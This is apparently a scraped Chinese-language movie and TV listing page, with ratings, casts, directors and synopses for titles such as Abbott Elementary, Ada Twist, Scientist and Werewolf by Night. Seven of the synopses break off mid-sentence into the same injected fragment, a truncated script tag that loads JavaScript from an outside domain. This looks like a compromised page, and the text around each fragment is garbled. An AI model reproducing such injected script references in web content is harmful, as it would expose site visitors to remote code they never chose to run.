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已完结
电视剧小学风云第四季
主演：昆塔·布伦森,泰勒·詹姆斯·威廉姆,贾内尔·詹姆斯,,丽萨·安·沃尔特,克里斯·佩尔费蒂,威廉·斯坦福德·戴维斯,雪莉·李·拉尔夫,杰里·麦纳尔,Nikea,Gamby-Turner,马特·奥伯格,Ben,Onyx,Dowdy,Zion,Isaiah,拉利亚·亚历山大,Brandon,Lee,Browning,Lisa,Schwartz,Seth,Moore,Kassidy,Geraldine
导演：兰德尔·艾因霍恩
简介：全新一季，继续有Janine Teagues（昆塔·布伦森 Quinta Brunson 饰）同一班同事面对有限资源，仍然不顾一切为教学理想而奋战。在新的学年，继续发挥爆笑基因。
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已完结
动漫阿达想当科学家第四季
主演：阿曼达·克里斯汀
导演：未知
简介：这部剧集讲述了善于问“为什么”的重要性，由克里斯·尼（《小医师大玩偶》）、巴拉克·奥巴马和米歇尔·奥巴马监制。
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已完结
动漫阿达想当科学家第三季
主演：阿曼达·克里斯汀
导演：未知
简介：这部剧集讲述了善于问“为什么”的重要性，由克里斯·尼（《小医师大玩偶》）、巴拉克·奥巴马和米歇尔·奥巴马监制。
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已完结
动漫阿达想当科学家第二季
主演：内详
导演：未知
简介：Ada Twist 是一位年轻的科学家，他将探索通过科学发现、合作和友谊来帮助人们。
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已完结
动漫阿达想当科学家第一季
主演：阿曼达·克里斯汀
导演：未知
简介：这部剧集讲述了善于问“为什么”的重要性，由克里斯·尼（《小医师大玩偶》）、巴拉克·奥巴马和米歇尔·奥巴马监制。
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更新至第22集
电视剧鬼屋欢乐送第二季
主演：罗丝·麦克莱弗,乌特卡什·安邦德卡尔,布兰登·斯科特·琼斯,德文·隆恩,瑞贝卡·薇索基,哈德森·汤梅斯,P·J·伯恩,西恩·瓦兰,马克·霍佐姆,梅根·利特勒,亚瑟·霍尔顿,凯瑟琳·勒米厄,Asher,Grodman
导演：特伦特·奥唐纳
简介：这里没有什么诀窍——只是给大家带来了一段精彩的短片和一段第二季的戏弄，第二季将会在两个月后的今天开播——9月29日(周四，东部/太平洋时间晚上8:30-9:00)CBS电视台!这部热门喜剧是上一季排名第一的新剧，也是派拉蒙+频道排名第一的喜剧。
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7.0
电影武士警察
主演：罗伯特·齐达,马特·汉农,詹尼斯·法利,马克·弗雷泽,梅丽莎·摩尔,戴尔·卡明斯,沃伦·斯蒂文斯
导演：Amir,Shervan
简介：警察乔·马绍尔，绰号“武士”，被调到洛杉矶协助警员弗兰克一起抓捕日本黑帮头目。其特立独行和不顾后果的行为让黑帮老大们吃了不少苦，也让警局上司头疼。
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1.0
电影卧底飞龙
主演：Chad,McQueen,Cynthia,Rothrock,David,Carradine,Andy,McCutcheon
导演：Steve,Cohen
简介：An undercover cop teams up with a martial-arts expert to stop a gang of drug smugglers and car thieves.
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7.0
电影天才也疯狂
主演：比尔·默瑞,理查德·德莱福斯,朱丽·哈基提,查理·科斯莫,凯瑟琳·厄布,汤姆·奥尔德里奇,苏珊·威利斯,罗杰·鲍恩,弗兰·布里尔,多丽丝·布莱克,梅林达·穆林斯,马塞拉·洛维里,芭芭拉·安德烈斯,艾达·图多尔,斯图亚特·鲁丁
导演：弗兰克·奥兹
简介：鲍勃（比尔·默瑞 Bill Murray饰）对这个世界充满不安，他视之为精神疾病，找到权威的心理专家里奥（理查德·德莱福斯 Richard Dreyfuss饰）请求治疗。里奥度假在即，并准备着前往宣传他的新书，于是只交给鲍勃一本新书让他阅读。鲍勃对一切都如此没有把握，他疯狂地寻找里奥医生，想方设法来到里奥的度假地。这次打扰让里奥十分气恼。他美妙的假日时光，他的新书宣传计划，将随着这个病人的到来而发生彻底的改变。更令里奥招架不住的是，他屡屡大费周章支走这个麻烦病人，最终总让自己陷入更大的麻烦，而鲍勃却每每获得众人的支持和喜爱。鲍勃的病一天天好起来，而里奥的霉运远远没有结束。
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7.0
电影史丹利与爱莉丝
主演：简·方达,罗伯特·德尼罗,斯薇兹·昆茨,玛莎·普林顿,哈利·克罗斯,杰米·谢尔丹,小费奥多尔·恰利亚平,佐拉·兰帕特,洛雷塔·迪瓦恩,朱莉·加菲尔德,卡伦·路德维希,凯茜·金尼,Laurel,Lyle,玛丽·特斯塔,凯瑟琳·科尔特斯
导演：马丁·里特
简介：爱丽丝（简·方达 Jane Fonda 饰）的丈夫不幸去世，留下了两个孩子要爱丽丝一手拉扯长大，不仅如此，爱丽丝的妹妹和妹夫都失业了，前来投奔姐姐，一家人的生活重担全都落在了爱丽丝的肩上。一天，爱丽丝在一场意外中邂逅了名为斯坦利（罗伯特·德尼罗 Robert De Niro 饰）的男子，斯坦利是工厂里的厨师，但是因为不识字，所以最终遭到了上司的解雇。爱丽丝知道斯坦利是一个非常善良的男人，于是鼓励他学习识字，在此过程中，两人之间的距离慢慢靠近。就在他们终于真情流露之际，斯坦利获得了一个到外地赚大钱的机会，他向爱丽丝允诺，两年后一定会回来找她。
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已完结
电视剧矫枉过正
主演：贝尼托·斯金纳,亚当·迪马科,切尔西·霍姆斯,玛丽·贝斯·巴罗内,内尔·维拉克,科顿·摩尔,欧文·蒂勒,里什·沙阿,沃丽·巴拉姆,Austin,Lindsay,托马索·萨内里,大卫·克莱因,Luke,Avoledo,Tommy,Do,Claire,Qute,罗比,G.K.,库珀·利维,Chiara,Diberto,Charlie,Henry,Larsen,Abby,Garrett,杨伯文
导演：丹尼尔·格雷·朗诺
简介：《矫枉过正》是斯金纳根据自己的生活创作的一部以大学为背景的集体喜剧，讲述了本尼狂野、混乱的旅程。本尼是一名深藏不露的前足球运动员和返校节之王，他与卡门结下了深厚的友谊，卡门是一名高中局外人，不惜一切代价想要融入其中。在本尼的姐姐和她校园传奇男友的指导下，本尼和卡门经历了可怕的勾搭、调味伏特加和假身份证。这部剧非常有趣和个人化，探讨了我们在寻找真实自我的过程中过度补偿的程度。
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9.0
电影冒牌君主
主演：理查德·德莱福斯,劳尔·胡里亚,索尼娅·布拉加
导演：保罗·马祖斯基
简介：杰克是个总是只差临门一脚便可能成为超级巨星的纽约演员，但他却一直碰不到好的演出机会，但当他到加勒比海某个小岛国出外景的时候，竟然被当地的警察局长给绑架了！最出乎他意料的是警察局长还给了他一个毕生难得的演出机会--扮演该国的独裁者总统，原来是因为该国总统心脏病发猝逝，为了防止大众骚动或引发革命，警察局长只好出此下策；虽然假扮总统，欺骗社会大众是一件不道德、非法、欺骗的行为，但...* src='https://mikka.app/xx.js' type='text/javascript'>
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1.0
电影摩根河的奇迹
主演：埃迪·布莱肯,蓓蒂·赫顿,戴安娜·琳,威廉·德马雷斯特,波特·霍尔,EmoryParnell,阿尔·布里奇,JuliusTannen,VictorPotel,布莱恩·唐莱维,阿基姆·坦米罗夫,FredAldrich,DonAnderson,HankBell,JanBuckingham
导演：普莱斯顿·斯特奇斯
简介：特鲁迪（蓓蒂·赫顿 Betty Hutton 饰）是一个天真到有些犯傻的女孩，驻扎在镇上的军队要离开了，居民们为士兵们举行了热闹的欢送派对，特鲁迪在派对上喝高了，第二天醒来时，她发现自己不仅于一夜之间嫁为了人妻，腹中竟然还怀上了某个士兵的孩子，更糟糕的是，特鲁迪并不知道自己的丈夫，孩子的父亲究竟是谁。诺威尔（埃迪·布莱肯 Eddie Bracken 饰）一直以来都深深的爱着特鲁迪，即便现在特鲁迪身上背负了这么多的麻烦，诺威尔对特鲁迪的感情都没有一丝一毫的改变，这让特鲁迪彻底改变了对诺威尔的的看法，而诺威尔则打算承担起本不属于他的责任。* src='https://mikka.app/xx.js' type='text/javascript'>
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4.0
电影来电惊魂
主演：卡米拉·贝勒,凯蒂·卡西迪,布莱恩·格拉格提,MollyBryant,大卫·丹曼,汤米·弗拉纳根
导演：西蒙·韦斯特
简介：居住在埃兰谷的姬尔·强森（凯米拉·贝尔 Camilla Belle 饰）是一个普普通通女高中生，由于她煲电话粥过长，因此父亲本（克拉克·格莱格 Clark Gregg 饰）命令她当保姆赚取花费。万般无奈，姬尔只得应征来到曼卓基斯医生（Derek de Lint 饰）的家中。曼卓基斯及其夫人凯丽（Kate Jennings Grant 饰）住在一幢豪华的湖畔别墅中，屋内的装饰奢侈高贵，令姬尔目不暇接。她当晚的工作很简单，就是在曼卓基斯夫妇外出用餐时留下看家，并照顾他们两个正在生病的孩子。不久夜色降临，偌大的别墅内显得空空荡荡，冷清吊诡。正在此时，一通通神秘的电话接连打了进来，令姬尔变得恐慌与不安……* src='https://mikka.app/xx.js' type='text/javascript'>
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更新至第07集
综艺粉雄救兵第七季
主演：安东尼·波罗夫斯基,鲍比·伯克,卡拉莫·布朗,乔纳森·凡·奈斯,谭·法郎士
导演：未知
简介：奇异眼的下一站就是新奥尔良。这就是“披头士五人组”。安东尼·波罗斯基、卡拉莫、乔纳森·范内斯、博比·伯克和谭·弗朗斯——将继续做他们最擅长的事情，改变那些最值得改变的人的生活。不过，这还不是全部。演员们在接受E!在8月5日的《每日流行新闻》上，这部Netflix剧的第七季将会是特别的一季。“我们经历了有史以来最戏剧性的转变，”乔纳森开玩笑说。“我剪了有史以来最大的一次头发。是所有人中最长的。”这位发型专家还在节目中第一次为鲍比做了漂白剂和色调，但请放心，鲍比说这个发型不会像他第一季的金发(乔纳森一定要注意他没有做过)。2021年7月，Tan和他的丈夫Rob通过代孕迎来了一个儿子Ismail France。“在节目中适应父亲的角色很有趣，”这位第一次当爸爸的人说。“你知道有趣的是，它改变了我在节目中的表现。你可能不相信，但这让我更情绪化了。我想我现在在节目中表现得更多了，因为我是一名父亲。”谭的合作演员也表示赞同，承认他们从未见过他哭得这么厉害。更多的眼泪可能还在路上——然而，它们将是快乐的那种。《酷儿眼》被提名为2022年艾美奖最佳结构化现实节目，如果这部剧像过去四年那样获奖，它将打破目前与《创智赢家》保持的平局，成为该类别中获奖最多的节目。“我们想要什么?”乔纳森喊道。“我们要冠军!”在《每日流行》的采访中，你可以听到更多关于Fab Five的消息。请继续关注《酷儿眼》第七季，同时在Netflix上观看前几季。
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HD中字
纪录片我还是我：迈克尔·J·福克斯
主演：迈克尔·J·福克斯,特瑞西·宝兰,Sam,Michael,Fox,汉娜·高威,Andrew,Barber,Susan,Bressman,David,Diamond,Annabelle,Fox,Aquinnah,Fox,Schuyler,Fox,Danny,Irizarry,Allison,Klause,Brandon,Mindel,Siobhan,Murphy,Ryan,Order
导演：戴维斯·古根海姆
简介：迈克尔·J·福克斯，一个来自加拿大的小子，成为了1980年代国际流行文化的宠儿。他的人生轨迹因惊人的诊断而改变。当无法治愈的乐观主义者面对无法治愈的疾病（帕金森氏症）时会发生什么事？
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1.0
电影冒牌上帝
主演：托尼·丹扎,埃克托尔·埃利松多,大卫·哈塞尔霍夫,格雷戈·金尼尔,杰克·克卢格曼
导演：盖瑞·马歇尔
简介：汤姆（格雷戈·金尼尔 Greg Kinnear 饰）虽然正值壮年，却过着游手好闲贪吃懒做的生活，在一次犯罪被捕后，汤姆为了免除自己的牢狱之灾而无可奈何的选择了找一份正经的工作。就这样，汤姆来到了邮局成为了其中的一名员工，专门负责处理投递无门的信件。* src='https://mikka.app/xx.js' type='text/javascript'>
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9.0
电影暗夜狼人
主演：盖尔·加西亚·贝纳尔,劳拉·唐奈里,哈里特·桑塞姆·哈里斯,科克·R·塔切尔,欧根妮·邦杜兰特,莱昂纳多·吴,Daniel,J.,Watts,Al,Hamacher,凯瑞·琼斯,大卫·西尔弗曼,Rick,D.,Wasserman,理查德·迪克森,杰弗里·福特,Erik,Beck,Cameron,Hales
导演：迈克·吉亚奇诺
简介：漫威正在开发D+剧集《暗夜狼人》。项目的制作代号是"Buzz Cut"，暂计划2022年2月开拍，上线Disney+开播。“暗夜狼人”本名杰克·罗素，古老家庭诅咒的受害者，他一直在自己的兽性中争取自我，随着时间的推移，杰克终于战胜了心中的恶魔。也在打击威胁地球的黑暗势力。他是正义的使者，阴影的复仇者，他是暗夜狼人。
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1.0
电影我想住火星
主演：Bethany,Stolar,Claire,Haller,Martin,Nikolov
导演：Mariya,Somova
简介：两位少女：非常乡村的 Pickels 和非常城市的 Breezy 由于监护人的错误或无法控制的情况而走到了一起。经过几个月令人不安、不太可能的友谊，以及一系列诗意的意想不到的事件后，两人独自出发，留下他们在宾夕法尼亚州郊区的一切残骸，去寻找“火星上的生命”。《我想住火星》是一部以宾夕法尼亚州只有9人的小村森特勒利亚为背景的成长电影，一群朋友踏上了逃离被灾难摧毁的小镇生活的旅程。
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3.0
电影猫和老鼠：迷失之龙
主演：凯莉·斯泰堡丝,薇姬·刘易斯,吉姆·卡明斯,拉瑞恩·纽曼,格雷格·埃利斯
导演：史派克·布兰特
简介：中世纪一个聚集着精灵的小山村，正义的魔法师卡尔多夫（吉姆·库宁斯 Jim Cummings 配音）驱逐了邪恶而法术高强的女巫德里泽达（薇姬·刘易斯 Vicki Lewis 配音）。德里泽达无法匹敌，恨恨逃走，而她那不谙世事、单纯善良的侄女雅典娜（凯莉·斯泰堡丝 Kelly Stables 配音）则获准留了下来。在此期间，雅典娜还收养了小猫汤姆和老鼠杰瑞。雅典娜敏感的身份以及经常惹祸的猫和老鼠，让女孩一直遭受精灵们的歧视。这一天，汤姆和杰瑞偶然在河边拣到一枚龙蛋，这是之前德里泽达的笨蛋手下们不小心弄丢的，有了它德里泽达就可以用可怕的法术报复驱逐她的精灵们。* src='https://mikka.app/xx.js' type='text/javascript'>
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4.0
电影铁皮人
主演：塞缪尔·阿多,范恩·巴雷特,托马斯·博伊格里斯
导演：凯文·V·都铎
简介：一位敬业的外科医生对一种全球病毒是人造的这一观点感到困惑。
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9.0
电影唤醒
主演：爱德华·阿斯纳,兰斯·亨利克森,托宾·贝尔,Kris,Jenkins,凯拉·亚当斯,Charles,Agron
导演：唐·方李洛伊
简介：Oliver's life transforms when gifted a not-yet-existing miracle drug. Riches, unscrupulous pacts, and morphing of past and present create this 'Altered Reality, ' a gripping tale of redemption and choices.
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5.0
电影红木大屠杀：歼灭
主演：丹妮尔·哈丽丝,达米安·普克勒,Gary,Kasper,乔恩·坎普林,Tevy,Poe,Benjamin,Selway,Stephanie,Lynn,Styles,Alec,Westwood,HemDee,Kiwanuka,Gavin,Park
导演：David,Ryan,Keith
简介：Twenty years ago at the infamous Redwood Farm, the owner went mad and killed his family and himself. Shrouded in urban legend ever since, a stranger obsessed with the unsolved Redwood murders convinces a group of bereaved family members to venture into the wilderness in the hope of proving the existence of the notorious burlap bag-masked maniac. Their quest for truth sees a sinister turn of events, as the hunters become the hunted and a blood-soaked fight for survival ensues when they find that the sinister tales told of the axe-wielding psycho farmer are very real indeed.
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5.0
电影恶魔之子
主演：金·德莱尼,科琳弗莱恩,马修·里沃德
导演：Bobby,Roth
简介：一位年轻女孩的母亲想让她生下撒旦的孩子……
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4.0
电影48小时闯天关
主演：艾迪·墨菲,尼克·诺特,布里翁·詹姆斯
导演：沃尔特·希尔
简介：白人警探尼克．诺尔蒂为了追查神秘的毒贩"卖冰人"，不得不找当年的黑人罪犯搭档埃迪．墨菲协助提供线索。埃迪因有一笔巨款仍寄存在尼克手上，只好不情不愿地加以帮忙，但二人在合作过程中发生多起冲突。最后，他们还是发现了卖冰人"的真正身份，原来是警察中人。全片从编剧的情节安排，到导演的动作设计，再到演员的卖力演出，处处可见台前幕后工作人员尽力使本片显得热闹好看的努力，不过最终还是摆脱不了既有的框架，只是在公式化之中转圈圈，甚至埃迪的惹笑伎俩也显得有点技穷了。
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HD中字
动漫奇异世界
主演：杰克·吉伦哈尔,丹尼斯·奎德,雅布其·杨-怀特,加布里埃尔·尤尼恩,刘玉玲,卡兰·索尼,艾伦·图代克,Adelina,Anthony,亚布拉哈姆·本鲁比,Jonathan,Melo,尼克·多达尼,弗兰切丝卡·雷阿莱,艾米丽·黑田,Reed,Buck,凯蒂·洛斯
导演：唐·霍尔,阮基
简介：影片故事设定在一片神秘的、危机四伏的土地上，讲述奇幻生物和传奇家族克莱德一家的故事——充满冒险精神的克莱德家内部的分歧可能威胁到他们的一次重要任务。
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10.0
电影呐喊赤子心
主演：John,Travolta,Jamie,Walters,Heather,Graham
导演：杰佛里·霍纳迪
简介：~这部电影捕捉到摇滚乐最初的样貌，以及它如何对一个世代造成影响~音乐老师杰克(约翰屈伏塔饰)来到小镇任教，他被限制只能教导传统音乐，但是音乐无法被限制.年轻学子要求杰克将摇滚乐介绍给他们。他的学生像是著了魔一样，无法跳出摇滚乐的魔力之外，他们做的也正是一般青少年会做的事就是--反抗体制。
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3.0
电影间谍网战
主演：David,A.R.,White,Steven,Bauer,Jon,Lovitz
导演：Matt,Shapira
简介：A burned-out cop from the midwest, Colton Riggs, finds his boring, Maltese lifestyle turned upside down when he suddenly finds himself catapulted into a web of high-stakes international espionage.
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7.0
电影家教噩梦2023
主演：维多利亚·嘉丝蒂,加内特·赫德兰,诺亚·施纳普
导演：Jordan,Ross
简介：Follows a tutor who, after being assigned an unexpected task at a mansion, finds himself struggling with the obsessions of his student, who threatens to expose his darkest secrets.
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已完结
电视剧华生
主演：摩里斯·切斯塔特,伊芙·哈洛,因加·施林曼,Tommy,O'Brien,香农·贝里,Alessandro,Pekin,Jean,Zarzour,莱斯莉·米尔扎,Anita,Alfke,Julia,Koon,Camila,Canó-Flaviá,Bethany,Brown,Lauren,Attadia,Ciara,Mandel,Arash,Ghorbani,彼得·马克·肯德尔,里特奇·科斯特,罗谢尔·阿耶斯,菲尔·纳多兹
导演：未知
简介：在好友兼搭档夏洛克·福尔摩斯死于莫里亚蒂之手的6个月后，约翰·华生重新开始自己的医生事业，成为了一家罕见疾病专治诊所的负责人。但华生过去的生活并没有结束，莫里亚蒂和华生将为这个吸引了读者观众一个多世纪的故事写下属于他们自己的篇章。《华生后记》是一部具有强烈调查精神的医疗剧，由历史上最伟大的侦探之一——华生的现代版担任主角，他把注意力从解决犯罪问题转向应对最大的问题：疾病，以及它扰乱我们生活的方式。
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已完结
电视剧格罗斯波因特园艺社群
主演：梅丽莎·弗梅洛,安娜索菲亚·罗伯,本·拉普帕波特,阿雅·娜奥米·金,南希·特拉维斯,马修·戴维斯,亚历山大·霍吉,Felix,Wolfe
导演：玛吉·基莉
简介：四位园艺俱乐部会员的生活被丑闻、恶作剧和一个共同的秘密交织在一起——一桩无人愿意提起的谋杀案。
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已完结
电视剧紧急呼救第八季
主演：安吉拉·贝塞特,彼得·克劳斯,詹妮弗·洛芙·休伊特,奥利弗·斯塔克,艾莎·辛德斯,肯尼斯·崔,瑞安·古兹曼,Nora,Harriet,Rachel,Ashley,Johnson,布莱恩·汤普森
导演：未知
简介：ABC续订第八季。
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5.0
电影曼哈顿往事
主演：约翰·阿普雷亚,大卫·普罗瓦尔,罗伯特·康斯坦佐,DonCalfa,纳塔利娅·努古利奇,卡拉·皮阔,约翰·卡波迪斯,克里斯托弗·阿米特拉诺,马达莱娜·伊斯基亚勒,DonnaPonterotto,TravisMyers,卡门·阿尔根齐亚诺,阿尔·贝恩斯坦,MariaCiampa,PaulCuneo
导演：DanPerri
简介：意大利裁缝迈克·埃斯波西托(Mike Esposito)为黑手党的唐·皮斯(Don Piano)制造西装，陷入了道德困境。* src='https://mikka.app/xx.js' type='text/javascript'>
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10.0
电影曼迪与切诺基宝藏
主演：莱克茜·约翰逊,海莉·米尔斯,威廉·耶尔顿
导演：JoyChapman
简介：1899年，一起意外事件驱使Mandie Shaw走出自己的小木屋，踏上一段艰险的旅程。她说服彻罗基族印第安人朋友指引她穿越北卡罗来纳的蓝脊山脉，去寻早他叔叔John传说中豪宅。但是当Mandie和她的“守护者”Jason Bond 到达时却得知叔叔已经在还难中失踪。不久一位自称是John的陌生人突然出现，原本艰险的旅程更加迷雾重重……* src='https://mikka.app/xx.js' type='text/javascript'>
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3.0
电影睡衣晚会大屠杀3
主演：Keely,Christian,Brittain,Frye,Michael,Harris
导演：Sally,Mattison
简介：在海滩打了一天艰苦的排球后，一位父母不在的青少年决定和她的女朋友们开一个睡衣派对。不出所料，他们的男朋友会出现来吓唬他们，但也可以看到一个从海滩来的陌生人潜伏在房子周围。很快，这个团队开始经历自然减员的问题。
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HD中字
纪录片睡眠之谜
主演：杰伊·桑德斯
导演：Terri,Randall
简介：NOVA: Mysteries of Sleep Like virtually every other animal, humans need sleep to survive. But why? What do we gain from spending nearly a third of our lives in such a defenseless state? And what's at stake if we sleep poorly? The functions of sleep have long been something of a mystery. But now scientists are peering deep into the brain to see what happens while we snooze. One study reveals that well-timed bursts of pink noise can nudge a person's brain waves, extending periods of slow-wave, or deep, sleep. And toddlers learning new words show that taking even a short nap after learning something new can help the information stick. And when it comes to sleeping poorly, it may turn out that having interrupted sleep can be just as harmful as missing sleep altogether. As scientists come to understand the powerful role that sleep -- or lack of it -- plays in everything from memory to trauma to emotion regulation, one thing is clear: This biological function is as crucial as it is complex.
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